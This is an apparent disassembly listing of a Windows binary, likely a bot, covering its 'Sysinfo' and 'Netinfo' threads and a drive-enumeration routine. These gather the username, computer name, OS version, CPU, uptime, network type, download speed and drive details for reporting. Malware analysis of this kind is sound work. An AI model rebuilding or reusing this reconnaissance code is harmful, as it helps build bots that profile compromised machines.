		shr	eax, 14h
		mov	[ebp+var_738], eax
		call	sub_4092A4
		mov	[ebp+var_714], eax
		mov	eax, [ebp+var_714]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	[ebp+var_6E8], eax
		mov	eax, [ebp+var_714]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		mov	ecx, 0E10h
		div	ecx
		mov	[ebp+var_524], eax
		mov	eax, [ebp+var_714]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		mov	ecx, 0E10h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		push	3Ch
		pop	ecx
		div	ecx
		mov	[ebp+var_6E4], eax
		mov	[ebp+var_8], 15h
		mov	[ebp+var_6D0], 10h
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_708]
		push	eax
		call	dword_417018	; GetUserNameA
		lea	eax, [ebp+var_6D0]
		push	eax
		lea	eax, [ebp+var_6E0]
		push	eax
		call	dword_417078	; GetComputerNameA
		mov	[ebp+var_520], 94h
		push	24h
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_51C]
		rep stosd
		lea	eax, [ebp+var_520]
		push	eax
		call	dword_417030	; GetVersionExA
		mov	[ebp+var_48C], offset a? ; "?"
		mov	[ebp+var_710], offset aNoSp ; "no SP"
		cmp	[ebp+var_51C], 4
		jnz	short loc_408522
		cmp	[ebp+var_518], 0
		jnz	short loc_408522
		cmp	[ebp+var_510], 1
		jnz	short loc_40850A
		mov	[ebp+var_48C], offset a95 ; "95"


loc_40850A:				; CODE XREF: sub_4083AD+151j
		cmp	[ebp+var_510], 2
		jnz	short loc_40851D
		mov	[ebp+var_48C], offset aNt ; "NT"


loc_40851D:				; CODE XREF: sub_4083AD+164j
		jmp	loc_4085B6
; ---------------------------------------------------------------------------


loc_408522:				; CODE XREF: sub_4083AD+13Fj
					; sub_4083AD+148j
		cmp	[ebp+var_51C], 4
		jnz	short loc_408540
		cmp	[ebp+var_518], 0Ah
		jnz	short loc_408540
		mov	[ebp+var_48C], offset a98 ; "98"
		jmp	short loc_4085B6
; ---------------------------------------------------------------------------


loc_408540:				; CODE XREF: sub_4083AD+17Cj
					; sub_4083AD+185j
		cmp	[ebp+var_51C], 4
		jnz	short loc_40855E
		cmp	[ebp+var_518], 5Ah
		jnz	short loc_40855E
		mov	[ebp+var_48C], offset aMe ; "ME"
		jmp	short loc_4085B6
; ---------------------------------------------------------------------------


loc_40855E:				; CODE XREF: sub_4083AD+19Aj
					; sub_4083AD+1A3j
		cmp	[ebp+var_51C], 5
		jnz	short loc_40857C
		cmp	[ebp+var_518], 0
		jnz	short loc_40857C
		mov	[ebp+var_48C], offset a2000 ; "2000"
		jmp	short loc_4085B6
; ---------------------------------------------------------------------------


loc_40857C:				; CODE XREF: sub_4083AD+1B8j
					; sub_4083AD+1C1j
		cmp	[ebp+var_51C], 5
		jnz	short loc_40859A
		cmp	[ebp+var_518], 1
		jnz	short loc_40859A
		mov	[ebp+var_48C], offset aXp ; "XP"
		jmp	short loc_4085B6
; ---------------------------------------------------------------------------


loc_40859A:				; CODE XREF: sub_4083AD+1D6j
					; sub_4083AD+1DFj
		cmp	[ebp+var_51C], 5
		jnz	short loc_4085B6
		cmp	[ebp+var_518], 2
		jnz	short loc_4085B6
		mov	[ebp+var_48C], offset a2003 ; "2003"


loc_4085B6:				; CODE XREF: sub_4083AD:loc_40851Dj
					; sub_4083AD+191j ...
		cmp	[ebp+var_510], 2
		jnz	short loc_4085D6
		movsx	eax, [ebp+var_50C]
		test	eax, eax
		jz	short loc_4085D6
		lea	eax, [ebp+var_50C]
		mov	[ebp+var_710], eax


loc_4085D6:				; CODE XREF: sub_4083AD+210j
					; sub_4083AD+21Bj
		call	sub_40435B
		test	eax, eax
		jz	short loc_4085EB
		mov	[ebp+var_744], offset aYes ; "Yes"
		jmp	short loc_4085F5
; ---------------------------------------------------------------------------


loc_4085EB:				; CODE XREF: sub_4083AD+230j
		mov	[ebp+var_744], offset aNo ; "No"


loc_4085F5:				; CODE XREF: sub_4083AD+23Cj
		mov	eax, [ebp+var_744]
		mov	[ebp+var_4], eax
		and	[ebp+var_47C], 0
		and	[ebp+var_409], 0
		xor	eax, eax
		cpuid
		mov	[ebp+var_488], ebx
		mov	[ebp+var_484], edx
		mov	[ebp+var_480], ecx
		lea	eax, [ebp+var_488]
		mov	[ebp+var_6EC], eax
		and	[ebp+var_70C], 0
		lea	eax, [ebp+var_70C]
		push	eax
		push	20019h
		push	0
		push	offset aHardwareDescri ; "HARDWARE\\DESCRIPTION\\System\\CentralProc"...
		push	80000002h
		call	dword_417008	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_4086B3
		and	[ebp+var_73C], 0
		mov	[ebp+var_740], 80h
		lea	eax, [ebp+var_740]
		push	eax
		lea	eax, [ebp+var_488]
		push	eax
		lea	eax, [ebp+var_73C]
		push	eax
		push	0
		push	offset aProcessornames ; "ProcessorNameString"
		push	[ebp+var_70C]
		call	dword_41700C	; RegQueryValueExA
		test	eax, eax
		jnz	short loc_4086A7
		push	1
		push	1
		lea	eax, [ebp+var_488]
		push	eax
		call	sub_407C2C
		add	esp, 0Ch


loc_4086A7:				; CODE XREF: sub_4083AD+2E5j
		push	[ebp+var_70C]
		call	dword_417028	; RegCloseKey


loc_4086B3:				; CODE XREF: sub_4083AD+2A8j
		cmp	[ebp+var_6E4], 1
		jnz	short loc_4086C8
		mov	[ebp+var_748], offset byte_41DE00
		jmp	short loc_4086D2
; ---------------------------------------------------------------------------


loc_4086C8:				; CODE XREF: sub_4083AD+30Dj
		mov	[ebp+var_748], offset dword_4191F4


loc_4086D2:				; CODE XREF: sub_4083AD+319j
		cmp	[ebp+var_524], 1
		jnz	short loc_4086E7
		mov	[ebp+var_74C], offset byte_41DE00
		jmp	short loc_4086F1
; ---------------------------------------------------------------------------


loc_4086E7:				; CODE XREF: sub_4083AD+32Cj
		mov	[ebp+var_74C], offset dword_4191F4


loc_4086F1:				; CODE XREF: sub_4083AD+338j
		cmp	[ebp+var_6E8], 1
		jnz	short loc_408706
		mov	[ebp+var_750], offset byte_41DE00
		jmp	short loc_408710
; ---------------------------------------------------------------------------


loc_408706:				; CODE XREF: sub_4083AD+34Bj
		mov	[ebp+var_750], offset dword_4191F4


loc_408710:				; CODE XREF: sub_4083AD+357j
		lea	eax, [ebp+var_708]
		push	eax
		lea	eax, [ebp+var_6E0]
		push	eax
		push	[ebp+var_748]
		push	[ebp+var_6E4]
		push	[ebp+var_74C]
		push	[ebp+var_524]
		push	[ebp+var_750]
		push	[ebp+var_6E8]
		push	[ebp+var_4]
		push	[ebp+var_6F0]
		push	[ebp+var_738]
		call	sub_40821B
		push	eax
		push	[ebp+var_6EC]
		push	[ebp+var_514]
		push	[ebp+var_518]
		push	[ebp+var_51C]
		push	[ebp+var_710]
		push	[ebp+var_48C]
		push	offset dword_419104
		push	400h
		lea	eax, [ebp+var_408]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 54h
		lea	eax, [ebp+var_408]
		push	eax
		push	offset dword_418B64
		lea	eax, [ebp+var_6C8]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		push	[ebp+var_6CC]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_4083AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4087C4	proc near		; CODE XREF: sub_40A9CF+1B9Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	1A7h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_4087DE
		jmp	short locret_408806
; ---------------------------------------------------------------------------


loc_4087DE:				; CODE XREF: sub_4087C4+16j
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	offset aSysinfoThread ;	"Sysinfo thread"
		push	0
		push	[ebp+var_4]
		push	offset sub_4083AD
		call	sub_4095A4
		add	esp, 10h

locret_408806:				; CODE XREF: sub_4087C4+18j
		leave
		retn
sub_4087C4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408808	proc near		; CODE XREF: sub_408887+Bp
					; sub_408887+19p ...

var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		push	[ebp+arg_0]
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_4105FB
		pop	ecx
		call	sub_416B64	; clock
		mov	[ebp+var_4], eax
		push	7D0h
		push	0
		push	offset a80	; "80"
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_8], eax
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx
		cmp	[ebp+var_8], 0
		jnz	short loc_40885F
		mov	eax, 3E8h
		jmp	short locret_408885
; ---------------------------------------------------------------------------


loc_40885F:				; CODE XREF: sub_408808+4Ej
		call	sub_416B64	; clock
		sub	eax, [ebp+var_4]
		cmp	eax, 3E8h
		jnb	short loc_40887B
		call	sub_416B64	; clock
		sub	eax, [ebp+var_4]
		mov	[ebp+var_2C], eax
		jmp	short loc_408882
; ---------------------------------------------------------------------------


loc_40887B:				; CODE XREF: sub_408808+64j
		mov	[ebp+var_2C], 3E8h


loc_408882:				; CODE XREF: sub_408808+71j
		mov	eax, [ebp+var_2C]

locret_408885:				; CODE XREF: sub_408808+55j
		leave
		retn
sub_408808	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408887	proc near		; CODE XREF: sub_408B30+1C2p
					; sub_40CA29+1E9p ...

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	offset dword_418F60
		call	sub_408808
		pop	ecx
		mov	[ebp+var_4], eax
		push	offset dword_418F6C
		call	sub_408808
		pop	ecx
		mov	[ebp+var_8], eax
		push	offset dword_418F84
		call	sub_408808
		pop	ecx
		mov	[ebp+var_C], eax
		push	offset dword_418F90
		call	sub_408808
		pop	ecx
		mov	[ebp+var_10], eax
		push	offset dword_418FA0
		call	sub_408808
		pop	ecx
		mov	[ebp+var_14], eax
		push	offset dword_418FB0
		call	sub_408808
		pop	ecx
		mov	[ebp+var_18], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		add	eax, [ebp+var_14]
		add	eax, [ebp+var_18]
		xor	edx, edx
		push	6
		pop	ecx
		div	ecx
		leave
		retn
sub_408887	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4088FC	proc near		; CODE XREF: sub_408B30:loc_408D33p

var_438		= qword	ptr -438h
var_430		= dword	ptr -430h
var_42C		= qword	ptr -42Ch
var_424		= dword	ptr -424h
var_420		= dword	ptr -420h
var_41C		= dword	ptr -41Ch
var_418		= byte ptr -418h
var_318		= dword	ptr -318h
var_314		= dword	ptr -314h
var_310		= dword	ptr -310h
var_30C		= dword	ptr -30Ch
var_308		= byte ptr -308h
var_208		= byte ptr -208h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 438h
		and	[ebp+var_8], 0
		jmp	short loc_408912
; ---------------------------------------------------------------------------


loc_40890B:				; CODE XREF: sub_4088FC+23j
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_408912:				; CODE XREF: sub_4088FC+Dj
		mov	eax, [ebp+var_8]
		cmp	off_418FC4[eax*4], 0
		jz	short loc_408921
		jmp	short loc_40890B
; ---------------------------------------------------------------------------


loc_408921:				; CODE XREF: sub_4088FC+21j
		mov	eax, [ebp+var_8]
		shr	eax, 1
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		jmp	short loc_408936
; ---------------------------------------------------------------------------


loc_40892F:				; CODE XREF: sub_4088FC+D6j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_408936:				; CODE XREF: sub_4088FC+31j
		cmp	[ebp+var_4], 3
		jnb	loc_408B2C
		mov	eax, [ebp+var_8]
		dec	eax
		push	eax
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	[ebp+var_318], eax
		mov	eax, [ebp+var_318]
		shl	eax, 1
		push	off_418FC4[eax*4]
		lea	eax, [ebp+var_418]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_418]
		push	eax
		call	sub_4105FB
		pop	ecx
		mov	eax, [ebp+var_318]
		shl	eax, 1
		push	off_418FC8[eax*4]
		lea	eax, [ebp+var_308]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_308]
		push	eax
		call	sub_4105FB
		pop	ecx
		push	2710h
		push	0
		push	offset a80	; "80"
		lea	eax, [ebp+var_418]
		push	eax
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_310], eax
		cmp	[ebp+var_310], 0
		jnz	short loc_4089D7
		jmp	loc_40892F
; ---------------------------------------------------------------------------


loc_4089D7:				; CODE XREF: sub_4088FC+D4j
		lea	eax, [ebp+var_418]
		push	eax
		lea	eax, [ebp+var_308]
		push	eax
		push	offset aGetSHttp1_0Hos ; "GET /%s HTTP/1.0\r\nHost: %s\r\n\r\n"
		push	200h
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 14h
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_208]
		push	eax
		push	[ebp+var_310]
		call	sub_4053BF
		add	esp, 0Ch
		and	[ebp+var_314], 0
		call	sub_416B64	; clock
		mov	[ebp+var_41C], eax
		and	[ebp+var_30C], 0


loc_408A3A:				; CODE XREF: sub_4088FC+1AFj
					; sub_4088FC+22Bj
		push	1388h
		push	200h
		lea	eax, [ebp+var_208]
		push	eax
		push	[ebp+var_310]
		call	sub_405443
		add	esp, 10h
		mov	[ebp+var_420], eax
		cmp	[ebp+var_420], 0
		jz	short loc_408A93
		cmp	[ebp+var_420], 0FFFFFFFFh
		jz	short loc_408A93
		call	sub_416B64	; clock
		sub	eax, [ebp+var_41C]
		cmp	eax, 1388h
		jnb	short loc_408A93
		cmp	[ebp+var_30C], 100000h
		jb	loc_408B15


loc_408A93:				; CODE XREF: sub_4088FC+16Aj
					; sub_4088FC+173j ...
		cmp	[ebp+var_30C], 2000h
		jnb	short loc_408AAD
		push	[ebp+var_310]
		call	sub_40538D
		pop	ecx
		jmp	short loc_408A3A
; ---------------------------------------------------------------------------


loc_408AAD:				; CODE XREF: sub_4088FC+1A1j
		mov	eax, [ebp+var_30C]
		mov	dword ptr [ebp+var_42C], eax
		and	dword ptr [ebp+var_42C+4], 0
		fild	[ebp+var_42C]
		fstp	[ebp+var_430]
		call	sub_416B64	; clock
		sub	eax, [ebp+var_41C]
		mov	dword ptr [ebp+var_438], eax
		and	dword ptr [ebp+var_438+4], 0
		fild	[ebp+var_438]
		fdiv	flt_417270
		fdivr	[ebp+var_430]
		call	sub_416CF8	; _ftol
		mov	[ebp+var_424], eax
		push	[ebp+var_310]
		call	sub_40538D
		pop	ecx
		mov	eax, [ebp+var_424]
		jmp	short locret_408B2E
; ---------------------------------------------------------------------------


loc_408B15:				; CODE XREF: sub_4088FC+191j
		mov	eax, [ebp+var_30C]
		add	eax, [ebp+var_420]
		mov	[ebp+var_30C], eax
		jmp	loc_408A3A
; ---------------------------------------------------------------------------


loc_408B2C:				; CODE XREF: sub_4088FC+3Ej
		xor	eax, eax

locret_408B2E:				; CODE XREF: sub_4088FC+217j
		leave
		retn
sub_4088FC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408B30	proc near		; DATA XREF: sub_408E4A+35o

var_A9C		= qword	ptr -0A9Ch
var_A7C		= qword	ptr -0A7Ch
var_A74		= dword	ptr -0A74h
var_A70		= dword	ptr -0A70h
var_A6C		= dword	ptr -0A6Ch
var_A68		= dword	ptr -0A68h
var_A64		= dword	ptr -0A64h
var_A60		= dword	ptr -0A60h
var_A5C		= byte ptr -0A5Ch
var_8B8		= dword	ptr -8B8h
var_8B4		= dword	ptr -8B4h
var_8B0		= byte ptr -8B0h
var_830		= dword	ptr -830h
var_82C		= dword	ptr -82Ch
var_828		= dword	ptr -828h
var_824		= dword	ptr -824h
var_820		= dword	ptr -820h
var_81C		= dword	ptr -81Ch
var_818		= dword	ptr -818h
var_814		= byte ptr -814h
var_414		= byte ptr -414h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0A7Ch
		push	1A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_A60]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		push	offset dword_41EF18
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_824]
		push	eax
		push	0
		push	0
		push	offset dword_41EF18
		call	dword_41DE54	; getaddrinfo
		test	eax, eax
		jnz	short loc_408BBC
		push	1
		push	0
		push	0
		push	401h
		lea	eax, [ebp+var_414]
		push	eax
		mov	eax, [ebp+var_824]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+var_824]
		push	dword ptr [eax+18h]
		call	dword_41DE58	; getnameinfo
		push	[ebp+var_824]
		call	dword_41DE5C	; freeaddrinfo


loc_408BBC:				; CODE XREF: sub_408B30+54j
		call	sub_409318
		mov	[ebp+var_8B8], eax
		mov	eax, [ebp+var_8B8]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	[ebp+var_830], eax
		mov	eax, [ebp+var_8B8]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		mov	ecx, 0E10h
		div	ecx
		mov	[ebp+var_820], eax
		mov	eax, [ebp+var_8B8]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		mov	ecx, 0E10h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		push	3Ch
		pop	ecx
		div	ecx
		mov	[ebp+var_82C], eax
		push	offset aUnknown_0 ; "Unknown"
		lea	eax, [ebp+var_8B0]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		push	offset aUnknown_0 ; "Unknown"
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		cmp	dword_41DE4C, 0
		jz	short loc_408C9F
		push	0
		push	80h
		lea	eax, [ebp+var_8B0]
		push	eax
		lea	eax, [ebp+var_818]
		push	eax
		call	dword_41DE4C	; InternetGetConnectedStateEx
		test	eax, eax
		jz	short loc_408C9F
		mov	eax, [ebp+var_818]
		and	eax, 1
		test	eax, eax
		jz	short loc_408C8F
		push	offset aModem	; "Modem"
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_408C9F
; ---------------------------------------------------------------------------


loc_408C8F:				; CODE XREF: sub_408B30+14Bj
		push	offset aLan	; "LAN"
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_408C9F:				; CODE XREF: sub_408B30+11Fj
					; sub_408B30+13Ej ...
		call	sub_4043E9
		test	eax, eax
		jz	short loc_408CB4
		mov	[ebp+var_A64], offset aYes ; "Yes"
		jmp	short loc_408CBE
; ---------------------------------------------------------------------------


loc_408CB4:				; CODE XREF: sub_408B30+176j
		mov	[ebp+var_A64], offset aNo ; "No"


loc_408CBE:				; CODE XREF: sub_408B30+182j
		mov	eax, [ebp+var_A64]
		mov	[ebp+var_8], eax
		call	sub_404279
		test	eax, eax
		jz	short loc_408CDC
		mov	[ebp+var_A68], offset aYes ; "Yes"
		jmp	short loc_408CE6
; ---------------------------------------------------------------------------


loc_408CDC:				; CODE XREF: sub_408B30+19Ej
		mov	[ebp+var_A68], offset aNo ; "No"


loc_408CE6:				; CODE XREF: sub_408B30+1AAj
		mov	eax, [ebp+var_A68]
		mov	[ebp+var_8B4], eax
		call	sub_408887
		mov	[ebp+var_828], eax
		mov	[ebp+var_81C], offset aBad ; "Bad"
		cmp	[ebp+var_828], 2EEh
		jnb	short loc_408D1D
		mov	[ebp+var_81C], offset aAvarage ; "Avarage"


loc_408D1D:				; CODE XREF: sub_408B30+1E1j
		cmp	[ebp+var_828], 1F4h
		jnb	short loc_408D33
		mov	[ebp+var_81C], offset aGood ; "Good"


loc_408D33:				; CODE XREF: sub_408B30+1F7j
		call	sub_4088FC
		mov	[ebp+var_4], eax
		cmp	[ebp+var_82C], 1
		jnz	short loc_408D50
		mov	[ebp+var_A6C], offset byte_41DE00
		jmp	short loc_408D5A
; ---------------------------------------------------------------------------


loc_408D50:				; CODE XREF: sub_408B30+212j
		mov	[ebp+var_A6C], offset dword_4191F4


loc_408D5A:				; CODE XREF: sub_408B30+21Ej
		cmp	[ebp+var_820], 1
		jnz	short loc_408D6F
		mov	[ebp+var_A70], offset byte_41DE00
		jmp	short loc_408D79
; ---------------------------------------------------------------------------


loc_408D6F:				; CODE XREF: sub_408B30+231j
		mov	[ebp+var_A70], offset dword_4191F4


loc_408D79:				; CODE XREF: sub_408B30+23Dj
		cmp	[ebp+var_830], 1
		jnz	short loc_408D8E
		mov	[ebp+var_A74], offset byte_41DE00
		jmp	short loc_408D98
; ---------------------------------------------------------------------------


loc_408D8E:				; CODE XREF: sub_408B30+250j
		mov	[ebp+var_A74], offset dword_4191F4


loc_408D98:				; CODE XREF: sub_408B30+25Cj
		push	[ebp+var_A6C]
		push	[ebp+var_82C]
		push	[ebp+var_A70]
		push	[ebp+var_820]
		push	[ebp+var_A74]
		push	[ebp+var_830]
		mov	eax, [ebp+var_4]
		mov	dword ptr [ebp+var_A7C], eax
		and	dword ptr [ebp+var_A7C+4], 0
		fild	[ebp+var_A7C]
		fdiv	flt_417274
		push	ecx
		push	ecx
		fstp	[esp+0A9Ch+var_A9C]
		push	[ebp+var_828]
		push	[ebp+var_81C]
		push	[ebp+var_8B4]
		push	[ebp+var_8]
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8B0]
		push	eax
		lea	eax, [ebp+var_414]
		push	eax
		push	offset dword_419284
		push	400h
		lea	eax, [ebp+var_814]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 48h
		lea	eax, [ebp+var_814]
		push	eax
		push	offset dword_418B64
		lea	eax, [ebp+var_A5C]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		push	[ebp+var_A60]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		leave
		retn	4
sub_408B30	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408E4A	proc near		; CODE XREF: sub_40A9CF+1BD8p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	1A7h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_408E64
		jmp	short locret_408E8C
; ---------------------------------------------------------------------------


loc_408E64:				; CODE XREF: sub_408E4A+16j
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	offset aNetinfoThread ;	"Netinfo thread"
		push	0
		push	[ebp+var_4]
		push	offset sub_408B30
		call	sub_4095A4
		add	esp, 10h

locret_408E8C:				; CODE XREF: sub_408E4A+18j
		leave
		retn
sub_408E4A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408E8E	proc near		; CODE XREF: sub_40CA29+1C5p
					; sub_40CA29+2DAp ...

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		mov	eax, dword_419398
		mov	[ebp+var_1C], eax
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0


loc_408EA4:				; CODE XREF: sub_408E8E+95j
		lea	eax, [ebp+var_1C]
		push	eax
		call	dword_4170CC	; GetDriveTypeA
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jz	short loc_408F14
		cmp	[ebp+var_10], 1
		jz	short loc_408F14
		cmp	[ebp+var_10], 5
		jz	short loc_408EE1
		cmp	[ebp+var_10], 2
		jz	short loc_408EE1
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	dword_4170C8	; GetDiskFreeSpaceExA
		jmp	short loc_408EF1
; ---------------------------------------------------------------------------


loc_408EE1:				; CODE XREF: sub_408E8E+33j
					; sub_408E8E+39j
		push	8
		push	0
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch


loc_408EF1:				; CODE XREF: sub_408E8E+51j
		push	0
		push	100000h
		push	[ebp+var_20]
		push	[ebp+var_24]
		call	sub_416C90
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], edx
		mov	eax, [ebp+var_24]
		mov	ecx, [ebp+var_C]
		add	ecx, eax
		mov	[ebp+var_C], ecx


loc_408F14:				; CODE XREF: sub_408E8E+27j
					; sub_408E8E+2Dj
		mov	al, byte ptr [ebp+var_1C]
		add	al, 1
		mov	byte ptr [ebp+var_1C], al
		movsx	eax, byte ptr [ebp+var_1C]
		cmp	eax, 5Ah
		jnz	loc_408EA4
		mov	eax, [ebp+var_C]
		leave
		retn
sub_408E8E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408F2E	proc near		; DATA XREF: sub_4091E2+35o

var_5DC		= dword	ptr -5DCh
var_5D8		= dword	ptr -5D8h
var_5D4		= dword	ptr -5D4h
var_5D0		= byte ptr -5D0h
var_42C		= dword	ptr -42Ch
var_428		= dword	ptr -428h
var_424		= dword	ptr -424h
var_420		= byte ptr -420h
var_418		= dword	ptr -418h
var_414		= dword	ptr -414h
var_410		= dword	ptr -410h
var_40C		= byte ptr -40Ch
var_404		= byte ptr -404h
var_3EF		= byte ptr -3EFh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 5DCh
		push	esi
		push	edi
		push	1A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_5D4]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		push	5
		pop	ecx
		mov	esi, offset aDriveInformati ; "Drive information - "
		lea	edi, [ebp+var_404]
		rep movsd
		movsb
		mov	ecx, 0FAh
		xor	eax, eax
		lea	edi, [ebp+var_3EF]
		rep stosd
		stosw
		stosb
		mov	eax, dword_419398
		mov	[ebp+var_424], eax
		and	[ebp+var_418], 0
		and	[ebp+var_5D8], 0
		and	[ebp+var_414], 0
		mov	[ebp+var_410], 1


loc_408FA6:				; CODE XREF: sub_408F2E+23Bj
		lea	eax, [ebp+var_424]
		push	eax
		call	dword_4170CC	; GetDriveTypeA
		mov	[ebp+var_5DC], eax
		cmp	[ebp+var_5DC], 0
		jz	loc_409151
		cmp	[ebp+var_5DC], 1
		jz	loc_409151
		cmp	[ebp+var_5DC], 2
		jnz	short loc_408FE5
		mov	[ebp+var_4], offset aRemovable ; "removable"
		jmp	short loc_409034
; ---------------------------------------------------------------------------


loc_408FE5:				; CODE XREF: sub_408F2E+ACj
		cmp	[ebp+var_5DC], 3
		jnz	short loc_408FF7
		mov	[ebp+var_4], offset aFixed ; "fixed"
		jmp	short loc_409034
; ---------------------------------------------------------------------------


loc_408FF7:				; CODE XREF: sub_408F2E+BEj
		cmp	[ebp+var_5DC], 4
		jnz	short loc_409009
		mov	[ebp+var_4], offset aRemote ; "remote"
		jmp	short loc_409034
; ---------------------------------------------------------------------------


loc_409009:				; CODE XREF: sub_408F2E+D0j
		cmp	[ebp+var_5DC], 5
		jnz	short loc_40901B
		mov	[ebp+var_4], offset aCdRom ; "cd-rom"
		jmp	short loc_409034
; ---------------------------------------------------------------------------


loc_40901B:				; CODE XREF: sub_408F2E+E2j
		cmp	[ebp+var_5DC], 6
		jnz	short loc_40902D
		mov	[ebp+var_4], offset aRamdisk ; "ramdisk"
		jmp	short loc_409034
; ---------------------------------------------------------------------------


loc_40902D:				; CODE XREF: sub_408F2E+F4j
		mov	[ebp+var_4], offset aUnknown ; "unknown"


loc_409034:				; CODE XREF: sub_408F2E+B5j
					; sub_408F2E+C7j ...
		cmp	[ebp+var_5DC], 5
		jz	short loc_40906A
		cmp	[ebp+var_5DC], 2
		jz	short loc_40906A
